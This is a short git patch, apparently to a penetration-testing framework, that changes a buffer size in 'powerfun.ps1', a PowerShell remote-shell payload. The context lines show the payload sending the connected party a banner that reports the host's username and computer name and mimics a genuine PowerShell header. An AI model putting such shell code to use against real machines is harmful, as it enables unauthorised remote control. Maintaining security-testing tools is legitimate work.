From 0cda746bfb6c357cc1fa297aa0e6686b1e4a20e6 Mon Sep 17 00:00:00 2001 From: benpturner Date: Tue, 19 May 2015 14:08:59 +0100 Subject: [PATCH] Updated size --- data/exploits/powershell/powerfun.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/exploits/powershell/powerfun.ps1 b/data/exploits/powershell/powerfun.ps1 index f8d323a08b..6b0ffa61f0 100644 --- a/data/exploits/powershell/powerfun.ps1 +++ b/data/exploits/powershell/powerfun.ps1 @@ -36,7 +36,7 @@ function powerfun $stream = $sslStream } - [byte[]]$bytes = 0..65555|%{0} + [byte[]]$bytes = 0..44444|%{0} $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length)